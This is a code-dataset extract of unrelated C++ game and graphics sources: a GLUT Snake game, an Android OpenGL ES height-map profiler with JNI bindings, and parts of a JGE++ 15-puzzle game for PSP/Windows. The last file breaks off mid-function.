code stringlengths 1 2.06M | language stringclasses 1 value |
|---|---|
/*
* Snake controller.
*/
#include <iostream>
#include <vector>
#include "SnakeObject.h"
#include "SnakeApple.h"
#include <glut.h>
#include <gl/GL.h>
/**
* \def SNAKE_START_LENGTH
* \brief Starting length of the snake.
*/
#define SNAKE_START_LENGTH 3
#define KB_ENTER 13
/**
* \class Snake
* \brief Snake controller.
* \see SnakeObject
*
* Controller of the snake game. It maintains the list of SnakeObjects.
*/
class Snake
{
public:
Snake();
~Snake();
/**
* \brief Update the snake controller.
*
* All variables will be updated before they can be written to the screen.
*/
void SnakeUpdate();
void InitList();
void SnakeDisplay();
SnakeObject& operator [] (int index);
void SnakeRelocate(int index);
SnakeApple& GetSnakeApple();
void AddSnakeObject();
bool CheckSelfHit();
/**
* \brief Return the size of the internal list.
*/
int size();
private:
std::vector <SnakeObject> objlist;
SnakeApple apple;
// algo
int length;
int n;
int s;
};
| C++ |
#include "SnakeApple.h"
SnakeApple::SnakeApple( int x, int y, int z )
{
this->init(x, y, z);
}
SnakeApple::SnakeApple()
{
this->init(0,0,0);
}
int& SnakeApple::X()
{
return this->x;
}
int& SnakeApple::Y()
{
return this->y;
}
int& SnakeApple::Z()
{
return this->z;
}
void SnakeApple::init( int x, int y, int z )
{
this->x = x;
this->y = y;
this->z = z;
}
| C++ |
/*
* Snake controller.
*/
#include <stdlib.h>
#include <iostream>
#include <Windows.h>
#include <time.h>
#include <glut.h>
#include <gl/GL.h>
#include <vector>
#include "Snake.h"
extern void display();
enum {
UP,
RIGHT,
DOWN,
LEFT
};
Snake::Snake()
{
this->length = SNAKE_START_LENGTH;
this->s = 10;
this->n = UP;
this->InitList();
// init the apple
srand(time(NULL)); // give srand a seed
while(true)
{
apple.X() = rand() % 800;
apple.Y() = rand() % 600;
if(apple.X() % 20 == 0 && apple.Y() % 20 == 0 && apple.X() > 0 &&
apple.X() < 800 && apple.Y() > 0 && apple.Y() < 600)
{
break;
}
}
}
void Snake::SnakeDisplay()
{
glClear(GL_COLOR_BUFFER_BIT);
for(int i = 0; i < this->size(); ++i)
{
// To prevent a draw bug.
if((*this)[i].X() == 0 && (*this)[i].Y() == 0) {
continue;
}
if(i == 0) {
glColor3f(1, 0, 0);
} else {
glColor3f(1, 0.5, 0);
}
glRectf((*this)[i].X() - 10, (*this)[i].Y() - 10,
(*this)[i].X() + 10, (*this)[i].Y() + 10);
}
glColor3f(0, 1, 0);
glRectf(this->apple.X() - 10, this->apple.Y() - 10,
this->apple.X() + 10, this->apple.Y() + 10);
glutSwapBuffers();
}
void Snake::SnakeUpdate()
{
this->SnakeDisplay();
if(n == UP && s % 10 == 0)
{
for(int i = this->length - 1; i > 0; --i)
{
this->SnakeRelocate(i);
}
(*this)[0].Y() -= 20;
this->s = 1;
}
if(n == RIGHT && s % 10 == 0)
{
for(int i = this->length - 1; i > 0; --i)
{
this->SnakeRelocate(i);
}
(*this)[0].X() += 20;
s = 1;
}
if(n == DOWN && s % 10 == 0)
{
for(int i = length - 1; i > 0; --i)
{
SnakeRelocate(i);
}
(*this)[0].Y() += 20;
s = 1;
}
if(n == LEFT && s % 10 == 0)
{
for(int i = length - 1; i > 0; --i)
{
SnakeRelocate(i);
}
(*this)[0].X() -= 20;
s = 1;
}
if((*this)[0].X() <= 0 || (*this)[0].Y() <= 0 ||
(*this)[0].X() >= 800 || (*this)[0].Y() >= 600 || this->CheckSelfHit())
{
MessageBox(NULL, L"Game over!", L"Game over!", MB_OK);
exit(0);
}
if(GetAsyncKeyState(VK_LEFT))
{
if(n != RIGHT)
n = LEFT;
}
if(GetAsyncKeyState(VK_RIGHT))
{
if(n != LEFT)
n = RIGHT;
}
if(GetAsyncKeyState(VK_UP))
{
if(n != DOWN)
n = UP;
}
if(GetAsyncKeyState(VK_DOWN))
{
if(n != UP)
n = DOWN;
}
if((*this)[0].X() == apple.X() && (*this)[0].Y() == apple.Y())
{
while(true)
{
apple.X() = rand() % 800;
apple.Y() = rand() % 600;
if(apple.X() % 20 == 0 && apple.Y() % 20 == 0 && apple.X() > 0 &&
apple.X() < 800 && apple.Y() > 0 && apple.Y() < 600)
{
break;
}
}
this->AddSnakeObject();
}
if (s < 10)
{
s++;
}
}
int Snake::size()
{
return this->objlist.size();
}
SnakeObject& Snake::operator[](int index)
{
return this->objlist[index];
}
void Snake::SnakeRelocate(int index)
{
(*this)[index].X() = (*this)[index-1].X();
(*this)[index].Y() = (*this)[index-1].Y();
}
SnakeApple& Snake::GetSnakeApple()
{
return this->apple;
}
void Snake::InitList()
{
SnakeObject snake0(200, 200);
this->objlist.push_back(snake0);
SnakeObject *obj;
int x; int y;
for(int i = 1; i < SNAKE_START_LENGTH; i++) {
x = this->objlist.at(i-1).X();
y = this->objlist.at(i-1).Y();
obj = new SnakeObject(x, y+20);
this->objlist.push_back(*obj);
}
}
void Snake::AddSnakeObject()
{
int i = this->size() - 1;
int x = this->objlist.at(i-1).X();
int y = this->objlist.at(i-1).Y();
SnakeObject *obj = new SnakeObject(x,y);
this->objlist.push_back(*obj);
this->length++;
}
bool Snake::CheckSelfHit()
{
SnakeObject& head = this->objlist.at(0);
bool ret = false;
int idx = 1;
for(; idx < this->size(); idx++) {
if((*this)[idx].X() == head.X() && (*this)[idx].Y() == head.Y()) {
ret = true;
break;
}
}
return ret;
}
| C++ |
/*
* Visible snake objects.
*/
#include <stdlib.h>
#include "SnakeObject.h"
/**
* \brief Create a snake object.
* \param x X coordinate.
* \param y Y coordinate.
*
* Creates an SnakeObject object at the given x, y coordinates.
* The 'z' coordinate is assumed to be 0.
*/
SnakeObject::SnakeObject(int x, int y)
{
this->x = x;
this->y = y;
this->z = 0;
}
/**
* \brief Create a snake object.
* \param x X coordinate.
* \param y Y coordinate.
* \param z Z coordinate.
*
* Creates an SnakeObject object at the given x, y, z coordinates.
*/
SnakeObject::SnakeObject(int x, int y, int z)
{
this->x = x;
this->y = y;
this->z = z;
}
/**
* \brief Return location on x-axis.
* \return x coordinate.
*/
int& SnakeObject::X()
{
return this->x;
}
/**
* \brief Returns the location on the y-axis.
* \return y coordinate.
*/
int& SnakeObject::Y()
{
return this->y;
}
/**
* \brief Returns the location on the z-axis.
* \brief z coordinate
*/
int& SnakeObject::Z()
{
return this->z;
}
/**
* \brief Set x coordinate.
* \param x New x.
*/
void SnakeObject::setX(int x)
{
this->x = x;
}
/**
* \brief Set y coordinate.
* \param y New y.
*/
void SnakeObject::setY(int y)
{
this->y = y;
}
/**
* \brief Set z coordinate.
* \param z New z.
*/
void SnakeObject::setZ(int z)
{
this->z = z;
}
| C++ |
#include "stdio.h"
class SnakeApple
{
public:
SnakeApple(int x, int y, int z);
SnakeApple();
void init(int x, int y, int z);
int& X();
int& Y();
int& Z();
private:
int x;
int y;
int z;
};
| C++ |
/*
* Snake entry point.
*/
#include <stdlib.h>
#include <Windows.h>
#include <time.h>
#include <glut.h>
#include <gl/GL.h>
// own headers
#include "Virtual Snake 3D\Snake.h"
static Snake *snake_ctrl;
static bool run = true;
void display()
{
}
void timer(int x = 0)
{
snake_ctrl->SnakeUpdate();
glutTimerFunc(10, timer, 0);
}
void keyboard_func(unsigned char key, int x, int y)
{
}
int main(int argc, char **argv)
{
snake_ctrl = new Snake();
glutInit(&argc, argv);
glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB);
glutInitWindowSize(800, 600);
glutInitWindowPosition(50, 100);
glutCreateWindow("Snake");
glLoadIdentity();
glMatrixMode(GL_PROJECTION);
glOrtho(0, 800, 600, 0, 0, 1);
glutDisplayFunc(display);
glutKeyboardFunc(keyboard_func);
MessageBox(NULL, L"Press oke to continue!", L"Pauze!", MB_OK);
timer();
glutMainLoop();
return 0;
}
| C++ |
/*
* Copyright (C) 2009 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <assert.h>
#include <jni.h>
#include <android/log.h>
#include <stdio.h>
#include <stdint.h>
#include <math.h>
#include <GLES/gl.h>
static const char* LogTitle = "HeightMapProfiler";
#ifdef DEBUG
#define ASSERT(x) if (!(x)) { __assert(__FILE__, __LINE__, #x); }
#else
#define ASSERT(X)
#endif
#ifdef REPORTING
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LogTitle, __VA_ARGS__)
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LogTitle, __VA_ARGS__)
#else
#define LOGE(...)
#define LOGI(...)
#endif
void __assert(const char* pFileName, const int line, const char* pMessage) {
__android_log_print(ANDROID_LOG_ERROR, "HeightMapProfiler", "Assert Failed! %s (%s:%d)", pMessage, pFileName, line);
assert(false);
}
struct Mesh {
int vertexBuffer;
int textureBuffer;
int colorBuffer;
int indexBuffer;
int indexCount;
bool useFixedPoint;
};
struct Tile {
// Store a texture value for each texture LOD (Level of Detail)
int textures[4];
float x;
float y;
float z;
float centerX;
float centerY;
float centerZ;
int maxLodCount;
int lodCount;
Mesh lods[4];
float maxLodDistance2;
};
static const int MAX_TILES = 17; //4x4 tiles + 1 skybox. This really shouldn't be hard coded this way though.
static int sTileCount = 0;
static Tile sTiles[MAX_TILES];
static int sSkybox = -1;
static void nativeReset(JNIEnv* env, jobject thiz) {
sTileCount = 0;
sSkybox = -1;
}
// static native int nativeAddTile(int texture, int lodCount, float maxLodDistance, float x, float y, float z, float centerX, float centerY, float centerZ);
static jint nativeAddTile(
JNIEnv* env,
jobject thiz,
jint texture,
jint lodCount,
jfloat maxLodDistance,
jfloat x,
jfloat y,
jfloat z,
jfloat centerX,
jfloat centerY,
jfloat centerZ) {
LOGI("nativeAddTile");
int index = -1;
if (sTileCount < MAX_TILES) {
index = sTileCount;
Tile* currentTile = &sTiles[index];
currentTile->x = x;
currentTile->y = y;
currentTile->z = z;
currentTile->centerX = centerX;
currentTile->centerY = centerY;
currentTile->centerZ = centerZ;
currentTile->lodCount = 0;
currentTile->maxLodCount = lodCount;
currentTile->maxLodDistance2 = maxLodDistance * maxLodDistance;
// Texture array size hard coded for now
currentTile->textures[0] = texture; // first element takes default LOD texture
currentTile->textures[1] = -1; // rest are set by nativeAddTextureLod() call
currentTile->textures[2] = -1;
currentTile->textures[3] = -1;
sTileCount++;
LOGI("Tile %d: (%g, %g, %g). Max lod: %d", index, x, y, z, lodCount);
}
return index;
}
static void nativeSetSkybox(
JNIEnv* env,
jobject thiz,
jint index) {
if (index < sTileCount && index >= 0) {
sSkybox = index;
}
}
// static native void nativeAddLod(int index, int vertexBuffer, int textureBuffer, int indexBuffer, int colorBuffer, int indexCount, boolean useFixedPoint);
static void nativeAddLod(
JNIEnv* env,
jobject thiz,
jint index,
jint vertexBuffer,
jint textureBuffer,
jint indexBuffer,
jint colorBuffer,
jint indexCount,
jboolean useFixedPoint) {
LOGI("nativeAddLod (%d)", index);
if (index < sTileCount && index >= 0) {
Tile* currentTile = &sTiles[index];
LOGI("Adding lod for tile %d (%d of %d) - %s", index, currentTile->lodCount, currentTile->maxLodCount, useFixedPoint ? "fixed" : "float");
if (currentTile->lodCount < currentTile->maxLodCount) {
const int meshIndex = currentTile->lodCount;
LOGI("Mesh %d: Index Count: %d", meshIndex, indexCount);
Mesh* lod = ¤tTile->lods[meshIndex];
lod->vertexBuffer = vertexBuffer;
lod->textureBuffer = textureBuffer;
lod->colorBuffer = colorBuffer;
lod->indexBuffer = indexBuffer;
lod->indexCount = indexCount;
lod->useFixedPoint = useFixedPoint;
currentTile->lodCount++;
}
}
}
// static native void nativeAddTextureLod(int index, int lod, int textureName);
static void nativeAddTextureLod(
JNIEnv* env,
jobject thiz,
jint tileIndex,
jint lod,
jint textureName) {
if (tileIndex < sTileCount && tileIndex >= 0) {
Tile* currentTile = &sTiles[tileIndex];
LOGI("Adding texture lod for tile %d lod %d texture name %d", tileIndex, lod, textureName);
if( lod >= sizeof(currentTile->textures)/sizeof(currentTile->textures[0]) ) {
LOGI("Error adding texture lod for tile %d lod %d is out of range ", tileIndex, lod );
}
currentTile->textures[lod] = textureName;
}
}
static void drawTile(int index, float cameraX, float cameraY, float cameraZ, bool useTexture, bool useColor) {
//LOGI("draw tile: %d", index);
if (index < sTileCount) {
Tile* currentTile = &sTiles[index];
const float dx = currentTile->centerX - cameraX;
const float dz = currentTile->centerZ - cameraZ;
const float distanceFromCamera2 = (dx * dx) + (dz * dz);
int lod = currentTile->lodCount - 1;
if (distanceFromCamera2 < currentTile->maxLodDistance2) {
const int bucket = (int)((distanceFromCamera2 / currentTile->maxLodDistance2) * currentTile->lodCount);
lod = bucket < (currentTile->lodCount - 1) ? bucket : currentTile->lodCount - 1;
}
ASSERT(lod < currentTile->lodCount);
Mesh* lodMesh = ¤tTile->lods[lod];
//LOGI("mesh %d: count: %d", index, lodMesh->indexCount);
const GLint coordinateType = lodMesh->useFixedPoint ? GL_FIXED : GL_FLOAT;
glPushMatrix();
glTranslatef(currentTile->x, currentTile->y, currentTile->z);
glBindBuffer(GL_ARRAY_BUFFER, lodMesh->vertexBuffer);
glVertexPointer(3, coordinateType, 0, 0);
if (useTexture) {
int texture = currentTile->textures[0];
if( currentTile->textures[lod] != -1 ) {
texture = currentTile->textures[lod];
}
glBindTexture(GL_TEXTURE_2D, texture);
glBindBuffer(GL_ARRAY_BUFFER, lodMesh->textureBuffer);
glTexCoordPointer(2, coordinateType, 0, 0);
}
if (useColor) {
glBindBuffer(GL_ARRAY_BUFFER, lodMesh->colorBuffer);
glColorPointer(4, coordinateType, 0, 0);
}
glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, lodMesh->indexBuffer);
glDrawElements(GL_TRIANGLES, lodMesh->indexCount,
GL_UNSIGNED_SHORT, 0);
glPopMatrix();
}
}
// Blatantly copied from the GLU ES project:
// http://code.google.com/p/glues/
static void __gluMakeIdentityf(GLfloat m[16])
{
m[0+4*0] = 1; m[0+4*1] = 0; m[0+4*2] = 0; m[0+4*3] = 0;
m[1+4*0] = 0; m[1+4*1] = 1; m[1+4*2] = 0; m[1+4*3] = 0;
m[2+4*0] = 0; m[2+4*1] = 0; m[2+4*2] = 1; m[2+4*3] = 0;
m[3+4*0] = 0; m[3+4*1] = 0; m[3+4*2] = 0; m[3+4*3] = 1;
}
static void normalize(GLfloat v[3])
{
GLfloat r;
r=(GLfloat)sqrt(v[0]*v[0] + v[1]*v[1] + v[2]*v[2]);
if (r==0.0f)
{
return;
}
v[0]/=r;
v[1]/=r;
v[2]/=r;
}
static void cross(GLfloat v1[3], GLfloat v2[3], GLfloat result[3])
{
result[0] = v1[1]*v2[2] - v1[2]*v2[1];
result[1] = v1[2]*v2[0] - v1[0]*v2[2];
result[2] = v1[0]*v2[1] - v1[1]*v2[0];
}
static void gluLookAt(GLfloat eyex, GLfloat eyey, GLfloat eyez, GLfloat centerx,
GLfloat centery, GLfloat centerz, GLfloat upx, GLfloat upy,
GLfloat upz)
{
GLfloat forward[3], side[3], up[3];
GLfloat m[4][4];
forward[0] = centerx - eyex;
forward[1] = centery - eyey;
forward[2] = centerz - eyez;
up[0] = upx;
up[1] = upy;
up[2] = upz;
normalize(forward);
/* Side = forward x up */
cross(forward, up, side);
normalize(side);
/* Recompute up as: up = side x forward */
cross(side, forward, up);
__gluMakeIdentityf(&m[0][0]);
m[0][0] = side[0];
m[1][0] = side[1];
m[2][0] = side[2];
m[0][1] = up[0];
m[1][1] = up[1];
m[2][1] = up[2];
m[0][2] = -forward[0];
m[1][2] = -forward[1];
m[2][2] = -forward[2];
glMultMatrixf(&m[0][0]);
glTranslatef(-eyex, -eyey, -eyez);
}
/* Call to render the next GL frame */
static void nativeRender(
JNIEnv* env,
jobject thiz,
jfloat cameraX,
jfloat cameraY,
jfloat cameraZ,
jfloat lookAtX,
jfloat lookAtY,
jfloat lookAtZ,
jboolean useTexture,
jboolean useColor,
jboolean cameraDirty) {
//LOGI("render");
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
if (cameraDirty) {
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
gluLookAt(cameraX, cameraY, cameraZ,
lookAtX, lookAtY, lookAtZ,
0.0f, 1.0f, 0.0f);
}
glEnableClientState(GL_VERTEX_ARRAY);
if (useTexture) {
glEnableClientState(GL_TEXTURE_COORD_ARRAY);
glEnable(GL_TEXTURE_2D);
} else {
glDisableClientState(GL_TEXTURE_COORD_ARRAY);
glDisable(GL_TEXTURE_2D);
}
if (useColor) {
glEnableClientState(GL_COLOR_ARRAY);
} else {
glDisableClientState(GL_COLOR_ARRAY);
}
if (sSkybox != -1) {
glDepthMask(false);
glDisable(GL_DEPTH_TEST);
drawTile(sSkybox, cameraX, cameraY, cameraZ, useTexture, useColor);
glDepthMask(true);
glEnable(GL_DEPTH_TEST);
}
for (int x = 0; x < sTileCount; x++) {
if (x != sSkybox) {
drawTile(x, cameraX, cameraY, cameraZ, useTexture, useColor);
}
}
glDisableClientState(GL_VERTEX_ARRAY);
//LOGI("render complete");
}
static const char* classPathName = "com/android/heightmapprofiler/NativeRenderer";
static JNINativeMethod methods[] = {
{"nativeReset", "()V", (void*)nativeReset },
{"nativeRender", "(FFFFFFZZZ)V", (void*)nativeRender },
{"nativeAddTile", "(IIFFFFFFF)I", (void*)nativeAddTile },
{"nativeAddLod", "(IIIIIIZ)V", (void*)nativeAddLod },
{"nativeSetSkybox", "(I)V", (void*)nativeSetSkybox },
{"nativeAddTextureLod", "(III)V", (void*)nativeAddTextureLod},
};
/*
* Register several native methods for one class.
*/
static int registerNativeMethods(JNIEnv* env, const char* className,
JNINativeMethod* gMethods, int numMethods)
{
jclass clazz;
clazz = env->FindClass(className);
if (clazz == NULL) {
char error[255];
sprintf(error,
"Native registration unable to find class '%s'\n", className);
__android_log_print(ANDROID_LOG_ERROR, "HeightMapProfiler", error);
return JNI_FALSE;
}
if (env->RegisterNatives(clazz, gMethods, numMethods) < 0) {
char error[255];
sprintf(error, "RegisterNatives failed for '%s'\n", className);
__android_log_print(ANDROID_LOG_ERROR, "HeightMapProfiler", error);
return JNI_FALSE;
}
return JNI_TRUE;
}
/*
* Register native methods for all classes we know about.
*/
static int registerNatives(JNIEnv* env)
{
if (!registerNativeMethods(env, classPathName,
methods, sizeof(methods) / sizeof(methods[0]))) {
return JNI_FALSE;
}
return JNI_TRUE;
}
/*
* Set some test stuff up.
*
* Returns the JNI version on success, -1 on failure.
*/
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved)
{
JNIEnv* env = NULL;
jint result = -1;
if (vm->GetEnv((void**) &env, JNI_VERSION_1_4) != JNI_OK) {
LOGE("ERROR: GetEnv failed");
goto bail;
}
assert(env != NULL);
if (!registerNatives(env)) {
LOGE("ERROR: HeightMapProfiler native registration failed");
goto bail;
}
/* success -- return valid version number */
result = JNI_VERSION_1_4;
bail:
return result;
}
| C++ |
#include "GameEngine.h"
#include <time.h>
#include <stdlib.h>
GameEngine::TileItem GameEngine::Tiles[16];
time_t GameEngine::StartTime = 0;
int GameEngine::ElapsedSeconds = 0;
int GameEngine::MoveCount = 0;
void GameEngine::Init()
{
GameEngine::Tiles[0].X = 3;
GameEngine::Tiles[0].Y = 3;
for(int index = 1; index<16; index++)
{
GameEngine::Tiles[index].X = (index - 1) % 4;
GameEngine::Tiles[index].Y = (index - 1) / 4;
char buffer[255];
TIXML_SNPRINTF(buffer, 255, "tile%d", index);
GameEngine::Tiles[index].JQuadName = buffer;
}
}
void GameEngine::MoveLeftTile()
{
StartTimer();
GameEngine::TileItem& zeroTile = GameEngine::Tiles[0];
if(zeroTile.X > 0)
{
for(int index = 1; index<16; index++)
{
GameEngine::TileItem& currentTile = GameEngine::Tiles[index];
if(currentTile.Y == zeroTile.Y && currentTile.X == (zeroTile.X-1))
{
currentTile.X++;
currentTile.XMoveStep = TILE_SMOOTH_MOVE_STEPS;
zeroTile.X--;
MoveCount++;
break;
}
}
}
}
void GameEngine::MoveRightTile()
{
StartTimer();
GameEngine::TileItem& zeroTile = GameEngine::Tiles[0];
if(zeroTile.X < 3)
{
for(int index = 1; index<16; index++)
{
GameEngine::TileItem& currentTile = GameEngine::Tiles[index];
if(currentTile.Y == zeroTile.Y && currentTile.X == (zeroTile.X+1))
{
currentTile.X--;
currentTile.XMoveStep = -1*TILE_SMOOTH_MOVE_STEPS;
zeroTile.X++;
MoveCount++;
break;
}
}
}
}
void GameEngine::MoveUpTile()
{
StartTimer();
GameEngine::TileItem& zeroTile = GameEngine::Tiles[0];
if(zeroTile.Y > 0)
{
for(int index = 1; index<16; index++)
{
GameEngine::TileItem& currentTile = GameEngine::Tiles[index];
if(currentTile.X == zeroTile.X && currentTile.Y == (zeroTile.Y-1))
{
currentTile.Y++;
currentTile.YMoveStep = TILE_SMOOTH_MOVE_STEPS;
zeroTile.Y--;
MoveCount++;
break;
}
}
}
}
void GameEngine::MoveDownTile()
{
StartTimer();
GameEngine::TileItem& zeroTile = GameEngine::Tiles[0];
if(zeroTile.Y < 3)
{
for(int index = 1; index<16; index++)
{
GameEngine::TileItem& currentTile = GameEngine::Tiles[index];
if(currentTile.X == zeroTile.X && currentTile.Y == (zeroTile.Y+1))
{
currentTile.Y--;
currentTile.YMoveStep = -1*TILE_SMOOTH_MOVE_STEPS;
zeroTile.Y++;
MoveCount++;
break;
}
}
}
}
void GameEngine::NewGame()
{
Init();
Shuffle();
ResetTimer();
}
void GameEngine::ResetTimer()
{
ElapsedSeconds = 0;
StartTime = 0;
MoveCount = 0;
}
void GameEngine::StartTimer()
{
if(StartTime==0)
StartTime = time(NULL);
}
int GameEngine::GetElapsedSeconds()
{
if(StartTime==0)
return ElapsedSeconds;
return ElapsedSeconds + time(NULL) - StartTime;
}
void GameEngine::Shuffle()
{
srand((unsigned)time(NULL));
for(int index=0;index<212; index++)
{
int randId = rand();
switch(randId % 4)
{
case 0:
MoveDownTile();
break;
case 1:
MoveLeftTile();
break;
case 2:
MoveUpTile();
break;
case 3:
MoveRightTile();
break;
}
}
}
bool GameEngine::IsUserWin()
{
for(int index = 1; index<16; index++)
{
GameEngine::TileItem& currentTile = GameEngine::Tiles[index];
if(currentTile.X != (index - 1)%4 || currentTile.Y != (index-1)/4)
{
return false;
}
}
ElapsedSeconds = GetElapsedSeconds();
StartTime = 0;
return true;
}
void GameEngine::Resume()
{
StartTimer();
}
void GameEngine::Pause()
{
ElapsedSeconds = GetElapsedSeconds();
StartTime = 0;
}
int GameEngine::GetMoveCount()
{
return MoveCount;
} | C++ |
//-------------------------------------------------------------------------------------
//
// JGE++ is a hardware accelerated 2D game SDK for PSP/Windows.
//
// Licensed under the BSD license, see LICENSE in JGE root for details.
//
// Copyright (c) 2007 James Hui (a.k.a. Dr.Watson) <jhkhui@gmail.com>
//
//-------------------------------------------------------------------------------------
#include <JGameLauncher.h>
#include "GameApp.h"
//-------------------------------------------------------------------------------------
JApp* JGameLauncher::GetGameApp()
{
return new GameApp();
};
//-------------------------------------------------------------------------------------
char *JGameLauncher::GetName()
{
return "15 Puzzle - OZ Game";
}
//-------------------------------------------------------------------------------------
u32 JGameLauncher::GetInitFlags()
{
return JINIT_FLAG_NORMAL;
}
| C++ |
#pragma once
#include <string>
#include <vector>
using namespace std;
class Resources
{
public:
Resources(void);
~Resources(void);
static void Init();
static const Resources& GetCurrent();
static void SetCurrentIndex(int index);
static int GetCurrentIndex();
public:
string languageName;
string buttonSelect;
string buttonMenu;
string buttonNewGame;
vector<string> congratulationStrings;
string buttonPause;
string mainMenuNewGame;
string mainMenuRecords;
string mainMenuAbout;
string pauseMenuContinue;
string pauseMenuRestart;
string pauseMenuRecords;
string pauseMenuAbout;
vector<string> aboutStrings;
string buttonExit;
private:
static int currentIndex;
public:
static vector<Resources> Available;
};
| C++ |
//-------------------------------------------------------------------------------------
//
// JGE++ is a hardware accelerated 2D game SDK for PSP/Windows.
//
// Licensed under the BSD license, see LICENSE in JGE root for details.
//
// Copyright (c) 2007 James Hui (a.k.a. Dr.Watson) <jhkhui@gmail.com>
//
//-------------------------------------------------------------------------------------
#ifndef _GAMEAPP_H_
#define _GAMEAPP_H_
#include <JApp.h>
#include "GameMenu.h"
class hgeParticleSystem;
class JTTFont;
class JResourceManager;
class JSample;
enum GameMode
{
GM_Logo = 0,
GM_SelectLanguage = 1,
GM_MainMenu = 2,
GM_Game = 3,
GM_Pause = 4,
GM_Win = 5,
GM_About = 6,
};
class GameApp: public JApp
{
// ResourceManager
private:
JResourceManager* m_pResourceManager;
JTTFont* m_pFont;
JTTFont* m_pSmallFont;
JSample* m_pModeTileEffect;
//hgeParticleSystem* m_pMovingParticleSys;
GameMenu selectLanguageMenu;
GameMenu mainMenu;
GameMenu pauseMenu;
int m_menuOffset;
int m_menuDirection;
float mTimer;
GameMode CurrentGameMode;
GameMode PrevGameMode;
public:
GameApp();
virtual ~GameApp();
virtual void Create();
virtual void Destroy();
virtual void Update();
virtual void Render();
virtual void Pause();
virtual void Resume();
protected:
void RenderLogo();
void RenderSelectLanguage();
void RenderGameMode();
void RenderMenu(GameMenu& menu);
void RenderAbout();
void RenderWin();
void ProcessMenuOffset();
};
#endif
| C++ |
#pragma once
#include <string>
#if defined(_MSC_VER) && (_MSC_VER >= 1400 )
// Microsoft visual studio, version 2005 and higher.
#define TIXML_SNPRINTF _snprintf_s
#define TIXML_SNSCANF _snscanf_s
#elif defined(_MSC_VER) && (_MSC_VER >= 1200 )
// Microsoft visual studio, version 6 and higher.
//#pragma message( "Using _sn* functions." )
#define TIXML_SNPRINTF _snprintf
#define TIXML_SNSCANF _snscanf
#elif defined(__GNUC__) && (__GNUC__ >= 3 )
// GCC version 3 and higher.s
//#warning( "Using sn* functions." )
#define TIXML_SNPRINTF snprintf
#define TIXML_SNSCANF snscanf
#endif
#define TILE_SMOOTH_MOVE_STEPS (60.0)
using namespace std;
class GameEngine
{
public:
struct TileItem
{
int X;
int Y;
string JQuadName;
int XMoveStep;
int YMoveStep;
};
private:
static int ElapsedSeconds;
static time_t StartTime;
static int MoveCount;
private:
static void Init();
static void Shuffle();
static void StartTimer();
static void ResetTimer();
public:
static TileItem Tiles[16];
public:
static void NewGame();
static int GetMoveCount();
static int GetElapsedSeconds();
static void MoveLeftTile();
static void MoveRightTile();
static void MoveUpTile();
static void MoveDownTile();
static bool IsUserWin();
static void Resume();
static void Pause();
};
| C++ |
#pragma once
#include <vector>
#include <string>
using namespace std;
class GameMenu
{
private:
int selectedElementIndex;
public:
vector<string> MenuItems;
GameMenu(void)
{
selectedElementIndex = 0;
}
virtual ~GameMenu(void)
{
}
int GetSelectedElementIndex()
{
return selectedElementIndex;
}
void SelectNextElement()
{
selectedElementIndex++;
if(MenuItems.size()<=selectedElementIndex)
selectedElementIndex = 0;
}
void SelectPrevElement()
{
selectedElementIndex--;
if(selectedElementIndex<0)
selectedElementIndex = MenuItems.size() - 1;
}
};
| C++ |
//-------------------------------------------------------------------------------------
//
// JGE++ is a hardware accelerated 2D game SDK for PSP/Windows.
//
// Licensed under the BSD license, see LICENSE in JGE root for details.
//
// Copyright (c) 2007 James Hui (a.k.a. Dr.Watson) <jhkhui@gmail.com>
//
//-------------------------------------------------------------------------------------
#include <stdio.h>
#include <JGE.h>
#include <JRenderer.h>
#include <JLBFont.h>
#include <JSprite.h>
#include <JFileSystem.h>
#include <JResourceManager.h>
#include <JTTFont.h>
#include <JSoundSystem.h>
#include <hge\hgeparticle.h>
#include <hge\hgefont.h>
#include "GameApp.h"
#include "GameEngine.h"
#include "GameMenu.h"
#include "Resources.h"
#define STONE_FIELD_X (120)
#define STONE_FIELD_Y (16)
#define STONE_FIELD_WIDTH (240)
#define STONE_FIELD_HEIGHT (240)
#define STONE_WIDTH (60)
#define STONE_HEIGHT (60)
//-------------------------------------------------------------------------------------
// Constructor. Variables can be initialized here.
//
//-------------------------------------------------------------------------------------
GameApp::GameApp()
{
m_pResourceManager = NULL;
m_pFont = NULL;
m_pSmallFont = NULL;
m_pModeTileEffect = NULL;
//m_pMovingParticleSys = NULL;
mTimer = 0.0;
m_menuOffset = -10;
m_menuDirection = 1;
CurrentGameMode = GM_Logo;
}
//-------------------------------------------------------------------------------------
// Destructor.
//
//-------------------------------------------------------------------------------------
GameApp::~GameApp()
{
}
//-------------------------------------------------------------------------------------
// This is the init callback function. You should load and create your in-game
// resources here.
//
//-------------------------------------------------------------------------------------
void GameApp::Create()
{
Resources::Init();
JRenderer* renderer = JRenderer::GetInstance();
m_pResourceManager = new JResourceManager();
m_pResourceManager->LoadResource("15puzzle.resource");
m_pFont = new JTTFont();
m_pFont->Load("font.ttf", 34);
m_pSmallFont = new JTTFont();
m_pSmallFont->Load("font.ttf", 14);
//m_pMovingParticleSys = new hgeParticleSystem("particle1.psi", m_pResourceManager->GetQuad("moving"));
//m_pMovingParticleSys->Fire();
for(int index = 0; index < Resources::Available.size(); index++)
{
selectLanguageMenu.MenuItems.push_back(Resources::Available[index].languageName);
}
JSoundSystem* sound = JSoundSystem::GetInstance();
m_pModeTileEffect = sound->LoadSample("click.wav");
GameEngine::NewGame();
}
//-------------------------------------------------------------------------------------
// This is the clean up callback function. You should delete all your in-game
// resources, for example texture and quads, here.
//
//-------------------------------------------------------------------------------------
void GameApp::Destroy()
{
//SAFE_DELETE(m_pMovingParticleSys);
SAFE_DELETE(m_pModeTileEffect);
SAFE_DELETE(m_pSmallFont);
SAFE_DELETE(m_pFont);
SAFE_DELETE(m_pResourceManager);
}
void GameApp::ProcessMenuOffset()
{
if(mTimer>0.02f)
